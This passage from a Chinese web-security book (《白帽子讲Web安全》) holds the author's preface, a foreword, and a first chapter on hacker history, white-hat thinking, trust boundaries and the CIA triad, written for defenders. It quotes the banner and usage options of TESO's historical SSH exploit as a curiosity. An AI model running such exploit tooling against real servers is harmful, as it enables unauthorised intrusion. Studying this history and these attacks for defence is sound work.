作成果，都远远比不上那厚厚的一摞网站安全评估报告让我更有成就感，因为我知道，网站上的每一个漏洞，都在影响着成千上万的用户。能够为百万、千万的互联网用户服务，让我倍感自豪。当时，Web正在逐渐成为互联网的核心，Web安全技术也正在兴起，于是我义无返顾地投入到对Web安全的研究中。我于2007年以23岁之龄成为了阿里巴巴集团最年轻的技术专家。虽未有官方统计，但可能也是全集团里最年轻的高级技术专家，我于2010年获此殊荣。在阿里巴巴，我有幸见证了安全部门从无到有的建设过程。同时由于淘宝、支付宝草创，尚未建立自己的安全团队，因此我有幸参与了淘宝、支付宝的安全建设，为他们奠定了安全开发框架、安全开发流程的基础。对互联网安全的思考当时，我隐隐地感觉到了互联网公司安全，与传统的网络安全、信息安全技术的区别。就如同开发者会遇到的挑战一样，有很多问题，不放到一个海量用户的环境下，是难以暴露出来的。由于量变引起质变，所以管理10台服务器，和管理1万台服务器的方法肯定会有所区别；同样的，评估10名工程师的代码安全，和评估1000名工程师的代码安全，方法肯定也要有所不同。互联网公司安全还有一些鲜明的特色，比如注重用户体验、注重性能、注重产品发布时间，因此传统的安全方案在这样的环境下可能完全行不通。这对安全工作提出了更高的要求和更大的挑战。这些问题，使我感觉到，互联网公司安全可能会成为一门新的学科，或者说应该把安全技术变得更加工业化。可是我在书店中，却发现安全类目的书，要么是极为学术化的（一般人看不懂）教科书，要么就是极为娱乐化的（比如一些“黑客工具说明书”类型的书）说明书。极少数能够深入剖析安全技术原理的书，以我的经验看来，在工业化的环境中也会存在各种各样的问题。这些问题，也就促使我萌发了一种写一本自己的书，分享多年来工作心得的想法。它将是一本阐述安全技术在企业级应用中实践的书，是一本大型互联网公司的工程师能够真正用得上的安全参考书。因此张春雨先生一提到邀请我写书的想法时，我没有做过多的思考，就答应了。Web是互联网的核心，是未来云计算和移动互联网的最佳载体，因此Web安全也是互联网公司安全业务中最重要的组成部分。我近年来的研究重心也在于此，因此将选题范围定在了Web安全。但其实本书的很多思路并不局限于Web安全，而是可以放宽到整个互联网安全的方方面面之中。掌握了以正确的思路去看待安全问题，在解决它们时，都将无往而不利。我在2007年的时候，意识到了掌握这种正确思维方式的重要性，因此我告知好友：安全工程师的核心竞争力不在于他能拥有多少个0day，掌握多少种安全技术，而是在于他对安全理解的深度，以及由此引申的看待安全问题的角度和高度。我是如此想的，也是如此做的。因此在本书中，我认为最可贵的不是那一个个工业化的解决方案，而是在解决这些问题时，背后的思考过程。我们不是要做一个能够解决问题的方案，而是要做一个能够“漂亮地”解决问题的方案。这是每一名优秀的安全工程师所应有的追求。安全启蒙运动然而在当今的互联网行业中，对安全的重视程度普遍不高。有统计显示，互联网公司对安全的投入不足收入的百分之一。在2011年岁末之际，中国互联网突然卷入了一场有史以来最大的安全危机。12月21日，国内最大的开发者社区CSDN被黑客在互联网上公布了600万注册用户的数据。更糟糕的是，CSDN在数据库中明文保存了用户的密码。接下来如同一场盛大的交响乐，黑客随后陆续公布了网易、人人、天涯、猫扑、多玩等多家大型网站的数据库，一时间风声鹤唳，草木皆兵。这些数据其实在黑客的地下世界中已经辗转流传了多年，牵扯到了一条巨大的黑色产业链。这次的偶然事件使之浮出水面，公之于众，也让用户清醒地认识到中国互联网的安全现状有多么糟糕。以往类似的事件我都会在博客上说点什么，但这次我保持了沉默。因为一来知道此种状况已经多年，网站只是在为以前的不作为而买单；二来要解决“拖库”的问题，其实是要解决整个互联网公司的安全问题，远非保证一个数据库的安全这么简单。这不是通过一段文字、一篇文章就能够讲清楚的。但我想最好的答案，可以在本书中找到。经历这场危机之后，希望整个中国互联网，在安全问题的认识上，能够有一个新的高度。那这场危机也就物有所值，或许还能借此契机成就中国互联网的一场安全启蒙运动。这是我的第一本书，也是我坚持自己一个人写完的书，因此可以在书中尽情地阐述自己的安全世界观，且对书中的任何错漏之处以及不成熟的观点都没有可以推卸责任的借口。由于工作繁忙，写此书只能利用业余时间，交稿时间多次推迟，深感写书的不易。但最终能成书，则有赖于各位亲朋的支持，以及编辑的鼓励，在此深表感谢。本书中很多地方未能写得更为深入细致，实乃精力有限所致，尚请多多包涵。关于白帽子在安全圈子里，素有“白帽”、“黑帽”一说。黑帽子是指那些造成破坏的黑客，而白帽子则是研究安全，但不造成破坏的黑客。白帽子均以建设更安全的互联网为己任。我于2008年开始在国内互联网行业中倡导白帽子的理念，并联合了一些主要互联网公司的安全工程师，建立了白帽子社区，旨在交流工作中遇到的各种问题，以及经验心得。本书名为《白帽子讲Web安全》，即是站在白帽子的视角，讲述Web安全的方方面面。虽然也剖析攻击原理，但更重要的是如何防范这些问题。同时也希望“白帽子”这一理念，能够更加的广为人知，为中国互联网所接受。本书结构全书分为4大篇共18章，读者可以通过浏览目录以进一步了解各篇章的内容。在有的章节末尾，还附上了笔者曾经写过的一些博客文章，可以作为延伸阅读以及本书正文的补充。第一篇 我的安全世界观是全书的纲领。在此篇中先回顾了安全的历史，然后阐述了笔者对安全的看法与态度，并提出了一些思考问题的方式以及做事的方法。理解了本篇，就能明白全书中所涉及的解决方案在抉择时的取舍。第二篇 客户端脚本安全就当前比较流行的客户端脚本攻击进行了深入阐述。当网站的安全做到一定程度后，黑客可能难以再找到类似注入攻击、脚本执行等高风险的漏洞，从而可能将注意力转移到客户端脚本攻击上。客户端脚本安全与浏览器的特性息息相关，因此对浏览器的深入理解将有助于做好客户端脚本安全的解决方案。如果读者所要解决的问题比较严峻，比如网站的安全是从零开始，则建议跳过此篇，先阅读下一篇“服务器端应用安全”，解决优先级更高的安全问题。第三篇 服务器端应用安全就常见的服务器端应用安全问题进行了阐述。这些问题往往能引起非常严重的后果，在网站的安全建设之初需要优先解决这些问题，避免留下任何隐患。第四篇 互联网公司安全运营提出了一个大安全运营的思想。安全是一个持续的过程，最终仍然要由安全工程师来保证结果。在本篇中，首先就互联网业务安全问题进行了一些讨论，这些问题对于互联网公司来说有时候会比漏洞更为重要。在接下来的两章中，首先阐述了安全开发流程的实施过程，以及笔者积累的一些经验。然后谈到了公司安全团队的职责，以及如何建立一个健康完善的安全体系。本书也可以当做一本安全参考书，读者在遇到问题时，可以挑选任何所需要的章节进行阅读。致谢感谢我的妻子，她的支持是对我最大的鼓励。本书最后的成书时日，是陪伴在她的病床边完成的，我将铭记一生。感谢我的父母，是他们养育了我，并一直在背后默默地支持我的事业，使我最终能有机会在这里写下这些话。感谢我的公司阿里巴巴集团，它营造了良好的技术与实践氛围，使我能够有今天的积累。同时也感谢在工作中一直给予我帮助和鼓励的同事、上司，他们包括但不限于：魏兴国、汤城、刘志生、侯欣杰、林松英、聂万全、谢雄钦、徐敏、刘坤、李泽洋、肖力、叶怡恺。感谢季昕华先生为本书作序，他一直是所有安全工作者的楷模与学习的对象。也感谢博文视点的张春雨先生以及他的团队，是他们的努力使本书最终能与广大读者见面。他们的专业意见给了我很多的帮助。最后特别感谢我的同事周拓，他对本书提出了很多有建设性的意见。联系方式：邮箱：opensystem@gmail.com 博客：http://hi.baidu.com/aullik5 微博：http://t.qq.com/aullik5 微博：http://weibo.com/n/aullik5吴翰清2012年1月于杭州\n序言2012年农历春节，我回到了浙西的老家，外面白雪皑皑。在这与网络隔离的小乡村里，在这可以夜不闭户的小乡村里，过着与网络无关、与安全无关的生活，而我终于可以有时间安安静静拜读吴翰清先生的这本大作了。认识吴翰清先生源于网络、源于安全，并从网络走向生活，成为朋友。他对于安全技术孜孜不倦的研究，使得他年纪轻轻便成为系统、网络、Web等多方面安全的专家；他对于安全技术的分享，创建了“幻影旅团”（ph4nt0m.org）组织，培养了一批安全方面的技术人才，并带动了整个行业的交流氛围；他和同事在大型互联网公司对安全方面的不断实践，全面保护着阿里巴巴集团的安全；他对于安全的反思和总结并发布在他的博客上，使得我们能够更为深入地理解安全的意义，处理安全问题的方法论。而今天，很幸运，我们能系统的地看到吴翰清先生多年在大型互联网公司工作实践、总结反思所积累的安全观和Web安全技术。中国人自己编写的安全专著不多，而在这为数不多的书中，绝大部分也都是“黑客攻击”速成手册。这些书除了在技术上仅立足于零碎的技术点、工具使用手册、攻击过程演示，不系统之外，更为关键的是，它们不是以建设者的角度去解决安全问题。吴翰清先生是我非常佩服的“白帽子”，他和一群志同道合的朋友，一直以建设更安全的互联网为己任，系统地研究安全，积极分享知识，为中国的互联网安全添砖加瓦。而这本书也正是站在白帽子的视角，讲述Web安全的方方面面，它剖析攻击原理，目的是让互联网开发者、技术人员了解原理，并通过自身的实践，告诉大家分析这些问题的方法论、思想以及对应的防范方案。最让我共鸣的是“安全运营”的思路，我相信这也是吴翰清先生这么多年在互联网公司工作的最大收获之一，因为运营是互联网公司的最大特色和法宝。安全是一个动态的过程，因为敌方攻击手段在变，攻击方法在变，漏洞不断出现；我方业务在变，软件在变，人员在变，妄图通过一个系统、一个方案解决所有的问题是不现实的，也是不可能的，安全需要不断地运营、持续地优化。瑞雪兆丰年，一直在下的雪预示着今年的丰收。我想在经历了2011年中国互联网最大安全危机之后，如白雪一样纯洁的《白帽子讲Web安全》应该会给广大的从事互联网技术人员带来更多的帮助，保障中国互联网的安全，迎来互联网的又一个春天。季昕华 Benjurry\n第一篇 世界观安全第1章 我的安全世界观互联网本来是安全的，自从有了研究安全的人之后，互联网就变得不安全了。\n1.1 Web安全简史起初，研究计算机系统和网络的人，被称为“Hacker”，他们对计算机系统有着深入的理解，因此往往能够发现其中的问题。“Hacker”在中国按照音译，被称为“黑客”。在计算机安全领域，黑客是一群破坏规则、不喜欢被拘束的人，因此总想着能够找到系统的漏洞，以获得一些规则之外的权力。对于现代计算机系统来说，在用户态的最高权限是root（administrator），也是黑客们最渴望能够获取的系统最高权限。“root”对黑客的吸引，就像大米对老鼠的吸引，美女对色狼的吸引。不想拿到“root”的黑客，不是好黑客。漏洞利用代码能够帮助黑客们达成这一目标。黑客们使用的漏洞利用代码，被称为“exploit”。在黑客的世界里，有的黑客，精通计算机技术，能自己挖掘漏洞，并编写exploit；而有的黑客，则只对攻击本身感兴趣，对计算机原理和各种编程技术的了解比较粗浅，因此只懂得编译别人的代码，自己并没有动手能力，这种黑客被称为“Script Kids”，即“脚本小子”。在现实世界里，真正造成破坏的，往往并非那些挖掘并研究漏洞的“黑客”们，而是这些脚本小子。而在今天已经形成产业的计算机犯罪、网络犯罪中，造成主要破坏的，也是这些“脚本小子”。1.1.1 中国黑客简史中国黑客的发展分为几个阶段，到今天已经形成了一条黑色产业链。笔者把中国黑客的发展分为了：启蒙时代、黄金时代、黑暗时代。首先是启蒙时代，这个时期大概处在20世纪90年代，此时中国的互联网也刚刚处于起步阶段，一些热爱新兴技术的青年受到国外黑客技术的影响，开始研究安全漏洞。启蒙时代的黑客们大多是由于个人爱好而走上这条道路，好奇心与求知欲是驱使他们前进的动力，没有任何利益的瓜葛。这个时期的中国黑客们通过互联网，看到了世界，因此与西方发达国家同期诞生的黑客精神是一脉相传的，他们崇尚分享、自由、免费的互联网精神，并热衷于分享自己的最新研究成果。接下来是黄金时代，这个时期以中美黑客大战为标志。在这个历史背景下，黑客这个特殊的群体一下子几乎吸引了社会的所有眼球，而此时黑客圈子所宣扬的黑客文化以及黑客技术的独特魅力也吸引了无数的青少年走上这条道路。自此事件后，各种黑客组织如雨后春笋般冒出。此阶段的中国黑客，其普遍的特点是年轻，有活力，充满激情，但在技术上也许还不够成熟。此时期黑客圈子里贩卖漏洞、恶意软件的现象开始升温，同时因为黑客群体的良莠不齐，也开始出现以赢利为目的的攻击行为，黑色产业链逐渐成型。最后是黑暗时代，这个阶段从几年前开始一直延续到今天，也许还将继续下去。在这个时期黑客组织也遵循着社会发展规律，优胜劣汰，大多数的黑客组织没有坚持下来。在上一个时期非常流行的黑客技术论坛越来越缺乏人气，最终走向没落。所有门户型的漏洞披露站点，也不再公布任何漏洞相关的技术细节。伴随着安全产业的发展，黑客的功利性越来越强。黑色产业链开始成熟，这个地下产业每年都会给互联网造成数十亿的损失。而在上一个时期技术还不成熟的黑客们，凡是坚持下来的，都已经成长为安全领域的高级人才，有的在安全公司贡献着自己的专业技能，有的则带着非常强的技术进入了黑色产业。此时期的黑客群体因为互相之间缺失信任已经不再具有开放和分享的精神，最为纯粹的黑客精神实质上已经死亡。整个互联网笼罩在黑色产业链的阴影之下，每年数十亿的经济损失和数千万的网民受害，以及黑客精神的死亡，使得我们没有理由不把此时称为黑暗时代。也许黑客精神所代表的Open、Free、Share，真的一去不复返了！1.1.2 黑客技术的发展历程从黑客技术发展的角度看，在早期，黑客攻击的目标以系统软件居多。一方面，是由于这个时期的Web技术发展还远远不成熟；另一方面，则是因为通过攻击系统软件，黑客们往往能够直接获取root权限。这段时期，涌现出了非常多的经典漏洞以及“exploit”。比如著名的黑客组织TESO，就曾经编写过一个攻击SSH的exploit，并公然在ex-ploit的banner中宣称曾经利用这个exploit入侵过cia.gov（美国中央情报局）。下面是这个exploit的一些信息。root@plac /bin >> ./sshlinux/x86 sshd1 exploit by zip/TESO (zip@james.kalifornia.com) - ripped fromopenssh 2.2.0 srcgreets: mray, random, big t, sh1fty, scut, dvorakps. this sploit already owned cia.gov :/**please pick a type**Usage: ./ssh host [options]Options: -p port -b base Base address to start bruteforcing distance, by default 0x1800,goes as high as 0x10000 -t type -d debug mode -o Add this to delta_mintypes:0: linux/x86 ssh.com 1.2.26-1.2.31 rhl1: linux/x86 openssh 1.2.3 (maybe others)2: linux/x86 openssh 2.2.0p1 (maybe others)3: freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl有趣的是，这个exploit还曾经出现在著名电影《黑客帝国2》中：电影《黑客帝国2》放大屏幕上的文字可以看到：电影《黑客帝国2》中使用的著名exploit在早期互联网中，Web并非互联网的主流应用，相对来说，基于SMTP、POP3、FTP、IRC等协议的服务拥有着绝大多数的用户。因此黑客们主要的攻击目标是网络、操作系统以及软件等领域，Web安全领域的攻击与防御技术均处于非常原始的阶段。相对于那些攻击系统软件的exploit而言，基于Web的攻击，一般只能让黑客获得一个较低权限的账户，对黑客的吸引力远远不如直接攻击系统软件。但是时代在发展，防火墙技术的兴起改变了互联网安全的格局。尤其是以Cisco、华为等为代表的网络设备厂商，开始在网络产品中更加重视网络安全，最终改变了互联网安全的走向。防火墙、ACL技术的兴起，使得直接暴露在互联网上的系统得到了保护。比如一个网站的数据库，在没有保护的情况下，数据库服务端口是允许任何人随意连接的；在有了防火墙的保护后，通过ACL可以控制只允许信任来源的访问。这些措施在很大程度上保证了系统软件处于信任边界之内，从而杜绝了大部分的攻击来源。2003年的冲击波蠕虫是一个里程碑式的事件，这个针对Windows操作系统RPC服务（运行在445端口）的蠕虫，在很短的时间内席卷了全球，造成了数百万台机器被感染，损失难以估量。在此次事件后，网络运营商们很坚决地在骨干网络上屏蔽了135、445等端口的连接请求。此次事件之后，整个互联网对于安全的重视达到了一个空前的高度。运营商、防火墙对于网络的封锁，使得暴露在互联网上的非Web服务越来越少，且Web技术的成熟使得Web应用的功能越来越强大，最终成为了互联网的主流。黑客们的目光，也渐渐转移到了Web这块大蛋糕上。实际上，在互联网安全领域所经历的这个阶段，还有另外一个重要的分支，即桌面软件安全，或者叫客户端软件安全。其代表是浏览器攻击。一个典型的攻击场景是，黑客构造一个恶意网页，诱使用户使用浏览器访问该网页，利用浏览器中存在的某些漏洞，比如一个缓冲区溢出漏洞，执行shellcode，通常是下载一个木马并在用户机器里执行。常见的针对桌面软件的攻击目标，还包括微软的Office系列软件、Adobe Acrobat Reader、多媒体播放软件、压缩软件等装机量大的流行软件，都曾经成为黑客们的最爱。但是这种攻击，和本书要讨论的Web安全还是有着本质的区别，所以即使浏览器安全是Web安全的重要组成部分，但在本书中，也只会讨论浏览器和Web安全有关的部分。1.1.3 Web安全的兴起Web攻击技术的发展也可以分为几个阶段。在Web 1.0时代，人们更多的是关注服务器端动态脚本的安全问题，比如将一个可执行脚本（俗称webshell）上传到服务器上，从而获得权限。动态脚本语言的普及，以及Web技术发展初期对安全问题认知的不足导致很多“血案”的发生，同时也遗留下很多历史问题，比如PHP语言至今仍然只能靠较好的代码规范来保证没有文件包含漏洞，而无法从语言本身杜绝此类安全问题的发生。SQL注入的出现是Web安全史上的一个里程碑，它最早出现大概是在1999年，并很快就成为Web安全的头号大敌。就如同缓冲区溢出出现时一样，程序员们不得不日以继夜地去修改程序中存在的漏洞。黑客们发现通过SQL注入攻击，可以获取很多重要的、敏感的数据，甚至能够通过数据库获取系统访问权限，这种效果并不比直接攻击系统软件差，Web攻击一下子就流行起来。SQL注入漏洞至今仍然是Web安全领域中的一个重要组成部分。XSS（跨站脚本攻击）的出现则是Web安全史上的另一个里程碑。实际上，XSS的出现时间和SQL注入差不多，但是真正引起人们重视则是在大概2003年以后。在经历了MySpace的XSS蠕虫事件后，安全界对XSS的重视程度提高了很多，OWASP 2007 TOP 10威胁甚至把XSS排在榜首。伴随着Web 2.0的兴起，XSS、CSRF等攻击已经变得更为强大。Web攻击的思路也从服务器端转向了客户端，转向了浏览器和用户。黑客们天马行空的思路，覆盖了Web的每一个环节，变得更加的多样化，这些安全问题，在本书后续的章节中会深入地探讨。Web技术发展到今天，构建出了丰富多彩的互联网。互联网业务的蓬勃发展，也催生出了许多新兴的脚本语言，比如Python、Ruby、NodeJS等，敏捷开发成为互联网的主旋律。而手机技术、移动互联网的兴起，也给HTML 5带来了新的机遇和挑战。与此同时，Web安全技术，也将紧跟着互联网发展的脚步，不断地演化出新的变化。\n1.2 黑帽子，白帽子正如一个硬币有两面一样，“黑客”也有好坏之分。在黑客的世界中，往往用帽子的颜色来比喻黑客的好坏。白帽子，则是指那些精通安全技术，但是工作在反黑客领域的专家们；而黑帽子，则是指利用黑客技术造成破坏，甚至进行网络犯罪的群体。同样是研究安全，白帽子和黑帽子在工作时的心态是完全不同的。对于黑帽子来说，只要能够找到系统的一个弱点，就可以达到入侵系统的目的；而对于白帽子来说，必须找到系统的所有弱点，不能有遗漏，才能保证系统不会出现问题。这种差异是由于工作环境与工作目标的不同所导致的。白帽子一般为企业或安全公司服务，工作的出发点就是要解决所有的安全问题，因此所看所想必然要求更加的全面、宏观；黑帽子的主要目的是要入侵系统，找到对他们有价值的数据，因此黑帽子只需要以点突破，找到对他们最有用的一点，以此渗透，因此思考问题的出发点必然是有选择性的、微观的。从对待问题的角度来看，黑帽子为了完成一次入侵，需要利用各种不同漏洞的组合来达到目的，是在不断地组合问题；而白帽子在设计解决方案时，如果只看到各种问题组合后产生的效果，就会把事情变复杂，难以细致入微地解决根本问题，所以白帽子必然是在不断地分解问题，再对分解后的问题逐个予以解决。这种定位的不对称，也导致了白帽子的安全工作比较难做。“破坏永远比建设容易”，但凡事都不是绝对的。要如何扭转这种局面呢？一般来说，白帽子选择的方法，是克服某种攻击方法，而并非抵御单次的攻击。比如设计一个解决方案，在特定环境下能够抵御所有已知的和未知的SQL Injection问题。假设这个方案的实施周期是3个月，那么执行3个月后，所有的SQL Injection问题都得到了解决，也就意味着黑客再也无法利用SQL Injection这一可能存在的弱点入侵网站了。如果做到了这一点，那么白帽子们就在SQL Injection的局部对抗中化被动为主动了。但这一切都是理想状态，在现实世界中，存在着各种各样不可回避的问题。工程师们很喜欢一句话：“No Patch For Stupid！”，在安全领域也普遍认为：“最大的漏洞就是人！”。写得再好的程序，在有人参与的情况下，就可能会出现各种各样不可预知的情况，比如管理员的密码有可能泄露，程序员有可能关掉了安全的配置参数，等等。安全问题往往发生在一些意想不到的地方。另一方面，防御技术在不断完善的同时，攻击技术也在不断地发展。这就像一场军备竞赛，看谁跑在前面。白帽子们刚把某一种漏洞全部堵上，黑帽子们转眼又会玩出新花样。谁能在技术上领先，谁就能占据主动。互联网技术日新月异，在新技术领域的发展中，也存在着同样的博弈过程。可现状是，如果新技术不在一开始就考虑安全设计的话，防御技术就必然会落后于攻击技术，导致历史不断地重复。\n1.3 返璞归真，揭秘安全的本质讲了很多题外话，最终回到正题上。这是一本讲Web安全的书，在本书中除了讲解必要的攻击技术原理之外，最终重心还是要放在防御的思路和实现的技术上。在进行具体技术的讲解之前，我们需要先清楚地认识到“安全的本质”，或者说，“安全问题的本质”。安全是什么？什么样的情况下会产生安全问题？我们要如何看待安全问题？只有搞明白了这些最基本的问题，才能明白一切防御技术的出发点，才能明白为什么我们要这样做，要那样做。在武侠小说中，一个真正的高手，对武功有着最透彻、最本质的理解，达到了返璞归真的境界。在安全领域，笔者认为搞明白了安全的本质，就好比学会了“独孤九剑”，天下武功万变不离其宗，遇到任何复杂的情况都可以轻松应对，设计任何的安全方案也都可以信手拈来了。那么，一个安全问题是如何产生的呢？我们不妨先从现实世界入手。火车站、机场里，在乘客们开始正式旅程之前，都有一个必要的程序：安全检查。机场的安全检查，会扫描乘客的行李箱，检查乘客身上是否携带了打火机、可燃液体等危险物品。抽象地说，这种安全检查，就是过滤掉有害的、危险的东西。因为在飞行的过程中，飞机远离地面，如果发生危险，将会直接危害到乘客们的生命安全。因此，飞机是一个高度敏感和重要的区域，任何有危害的物品都不应该进入这一区域。为达到这一目标，登机前的安全检查就是一个非常有必要的步骤。从安全的角度来看，我们将不同重要程度的区域划分出来：安全检查的过程按照需要进行过滤通过一个安全检查（过滤、净化）的过程，可以梳理未知的人或物，使其变得可信任。被划分出来的具有不同信任级别的区域，我们称为信任域，划分两个不同信任域之间的边界，我们称为信任边界。数据从高等级的信任域流向低等级的信任域，是不需要经过安全检查的；数据从低等级的信任域流向高等级的信任域，则需要经过信任边界的安全检查。我们在机场通过安检后，想要从候机厅出来，是不需要做检查的；但是想要再回到候机厅，则需要再做一次安全检查，就是这个道理。笔者认为，安全问题的本质是信任的问题。一切的安全方案设计的基础，都是建立在信任关系上的。我们必须相信一些东西，必须有一些最基本的假设，安全方案才能得以建立；如果我们否定一切，安全方案就会如无源之水，无根之木，无法设计，也无法完成。举例来说，假设我们有份很重要的文件要好好保管起来，能想到的一个方案是把文件“锁”到抽屉里。这里就包含了几个基本的假设，首先，制作这把锁的工匠是可以信任的，他没有私自藏一把钥匙；其次，制作抽屉的工匠没有私自给抽屉装一个后门；最后，钥匙还必须要保管在一个不会出问题的地方，或者交给值得信任的人保管。反之，如果我们一切都不信任，那么也就不可能认为文件放在抽屉里是安全的。当制锁的工匠无法打开锁时，文件才是安全的，这是我们的假设前提之一。但是如果那个工匠私自藏有一把钥匙，那么这份文件也就不再安全了。这个威胁存在的可能性，依赖于对工匠的信任程度。如果我们信任工匠，那么在这个假设前提下，我们就能确定文件的安全性。这种对条件的信任程度，是确定对象是否安全的基础。在现实生活中，我们很少设想最极端的前提条件，因为极端的条件往往意味者小概率以及高成本，因此在成本有限的情况下，我们往往会根据成本来设计安全方案，并将一些可能性较大的条件作为决策的主要依据。比如在设计物理安全时，根据不同的地理位置、不同的政治环境等，需要考虑台风、地震、战争等因素。但在考虑、设计这些安全方案时，根据其发生的可能性，需要有不同的侧重点。比如在大陆深处，考虑台风的因素则显得不太实际；同样的道理，在大陆板块稳定的地区，考虑地震的因素也会带来较高的成本。而极端的情况比如“彗星撞击地球后如何保证机房不受影响”的问题，一般都不在考虑之中，因为发生的可能性太小。从另一个角度来说，一旦我们作为决策依据的条件被打破、被绕过，那么就会导致安全假设的前提条件不再可靠，变成一个伪命题。因此，把握住信任条件的度，使其恰到好处，正是设计安全方案的难点所在，也是安全这门学问的艺术魅力所在。\n1.4 破除迷信，没有银弹在解决安全问题的过程中，不可能一劳永逸，也就是说“没有银弹”。一般来说，人们都会讨厌麻烦的事情，在潜意识里希望能够让麻烦越远越好。而安全，正是一件麻烦的事情，而且是无法逃避的麻烦。任何人想要一劳永逸地解决安全问题，都属于一相情愿，是“自己骗自己”，是不现实的。安全是一个持续的过程。自从互联网有了安全问题以来，攻击和防御技术就在不断碰撞和对抗的过程中得到发展。从微观上来说，在某一时期可能某一方占了上风；但是从宏观上来看，某一时期的攻击或防御技术，都不可能永远有效，永远用下去。这是因为防御技术在发展的同时，攻击技术也在不断发展，两者是互相促进的辩证关系。以不变的防御手段对抗不断发展的攻击技术，就犯了刻舟求剑的错误。在安全的领域中，没有银弹。很多安全厂商在推销自己产品时，会向用户展示一些很美好的蓝图，似乎他们的产品无所不能，购买之后用户就可以睡得安稳了。但实际上，安全产品本身也需要不断地升级，也需要有人来运营。产品本身也需要一个新陈代谢的过程，否则就会被淘汰。在现代的互联网产品中，自动升级功能已经成为一个标准配置，一个有活力的产品总是会不断地改进自身。微软在发布Vista时，曾信誓旦旦地保证这是有史以来最安全的操作系统。我们看到了微软的努力，在Vista下的安全问题确实比它的前辈们（Windows XP、Windows 2000、Windows 2003等）少了许多，尤其是高危的漏洞。但即便如此，在2008年的Pwn2own竞赛上，Vista也被黑客们攻击成功。Pwn2own竞赛是每年举行的让黑客们任意攻击操作系统的一次盛会，一般黑客们都会提前准备好0day漏洞的攻击程序，以求在Pwn2own上一举夺魁。黑客们在不断地研究和寻找新的攻击技术，作为防御的一方，没有理由不持续跟进。微软近几年在产品的安全中做得越来越好，其所推崇的安全开发流程，将安全检查贯穿于整个软件生命周期中，经过实践检验，证明这是一条可行的道路。对每一个产品，都要持续地实施严格的安全检查，这是微软通过自身的教训传授给业界的宝贵经验。而安全检查本身也需要不断更新，增加针对新型攻击方式的检测与防御方案。\n1.5 安全三要素既然安全方案的设计与实施过程中没有银弹，注定是一个持续进行的过程，那么我们该如何开始呢？其实安全方案的设计也有着一定的思路与方法可循，借助这些方法，能够理清我们的思路，帮助我们设计出合理、优秀的解决方案。因为信任关系被破坏，从而产生了安全问题。我们可以通过信任域的划分、信任边界的确定，来发现问题是在何处产生的。这个过程可以让我们明确目标，那接下来该怎么做呢？在设计安全方案之前，要正确、全面地看待安全问题。要全面地认识一个安全问题，我们有很多种办法，但首先要理解安全问题的组成属性。前人通过无数实践，最后将安全的属性总结为安全三要素，简称CIA安全三要素是安全的基本组成元素，分别是机密性（Confidentiality）、完整性（Integrity）、可用性（Availability）。机密性要求保护数据内容不能泄露，加密是实现机密性要求的常见手段。比如在前文的例子中，如果文件不是放在抽屉里，而是放在一个透明的玻璃盒子里，那么虽然外人无法直接取得文件，但因为玻璃盒子是透明的，文件内容可能还是会被人看到，所以不符合机密性要求。但是如果给文件增加一个封面，掩盖了文件内容，那么也就起到了隐藏的效果，从而满足了机密性要求。可见，我们在选择安全方案时，需要灵活变通，因地制宜，没有一成不变的方案。完整性则要求保护数据内容是完整、没有被篡 改的。常见的保证一致性的技术手段是数字签名。传说清朝康熙皇帝的遗诏，写的是“传位十四子”，被当时还是四阿哥的胤禛篡改了遗诏，变成了“传位于四子”。姑且不论传说的真实性，在故事中，对这份遗诏的保护显然没有达到完整性要求。如果在当时有数字签名等技术，遗诏就很难被篡改。从这个故事中也可以看出数据的完整性、一致性的重要意义。可用性要求保护资源是“随需而得”。假设一个停车场里有100个车位，在正常情况下，可以停100辆车。但是在某一天，有个坏人搬了100块大石头，把每个车位都占用了，停车场无法再提供正常服务。在安全领域中这种攻击叫做拒绝服务攻击，简称DoS（Denial of Service）。拒绝服务攻击破坏的是安全的可用性。在安全领域中，最基本的要素就是这三个，后来还有人想扩充这些要素，增加了诸如可审计性、不可抵赖性等，但最最重要的还是以上三个要素。在设计安全方案时，也要以这三个要素为基本的出发点，去全面地思考所面对的问题。\n1.6 如何实施安全评估有了前面的基础，我们就可以正式开始分析并解决安全问题了。一个安全评估的过程，可以简单地分为4个阶段：资产等级划分、威胁分析、风险分析、确认解决方案。安全评估的过程一般来说，按照这个过程来实施安全评估，在结果上不会出现较大的问题。这个实施的过程是层层递进的，前后之间有因果关系。如果面对的是一个尚未评估的系统，那么应该从第一个阶段开始实施；如果是由专职的安全团队长期维护的系统，那么有些阶段可以只实施一次。在这几个阶段中，上一个阶段将决定下一个阶段的目标，需要实施到什么程度。1.6.1 资产等级划分资产等级划分是所有工作的基础，这项工作能够帮助我们明确目标是什么，要保护什么。我们前面提到安全三要素时，机密性和完整性都是与数据相关的，在可用性的定义里，笔者则用到了“资源”一词。“资源”这个概念描述的范围比数据要更加广阔，但很多时候，资源的可用性也可以理解为数据的可用性。在互联网的基础设施已经比较完善的今天，互联网的核心其实是由用户数据驱动的——用户产生业务，业务产生数据。互联网公司除了拥有一些固定资产，如服务器等死物外，最核心的价值就是其拥有的用户数据，所以——互联网安全的核心问题，是数据安全的问题。这与我们做资产评估又有什么关系呢？有，因为对互联网公司拥有的资产进行等级划分，就是对数据做等级划分。有的公司最关心的是客户数据，有的公司最关心的是员工资料信息，根据各自业务的不同，侧重点也不同。做资产等级划分的过程，需要与各个业务部门的负责人一一沟通，了解公司最重要的资产是什么，他们最看重的数据是什么。通过访谈的形式，安全部门才能熟悉、了解公司的业务，公司所拥有的数据，以及不同数据的重要程度，为后续的安全评估过程指明方向。当完成资产等级划分后，对要保护的目标已经有了一个大概的了解，接下来就是要划分信任域和信任边界了。通常我们用一种最简单的划分方式，就是从网络逻辑上来划分。比如最重要的数据放在数据库里，那么把数据库的服务器圈起来；Web应用可以从数据库中读/写数据，并对外提供服务，那再把Web服务器圈起来；最外面是不可信任的Internet。简单网站信任模型这是最简单的例子，在实际中会遇到比这复杂许多的情况。比如同样是两个应用，互相之间存在数据交互业务，那么就要考虑这里的数据交互对于各自应用来说是否是可信的，是否应该在两个应用之间划一个边界，然后对流经边界的数据做安全检查。1.6.2 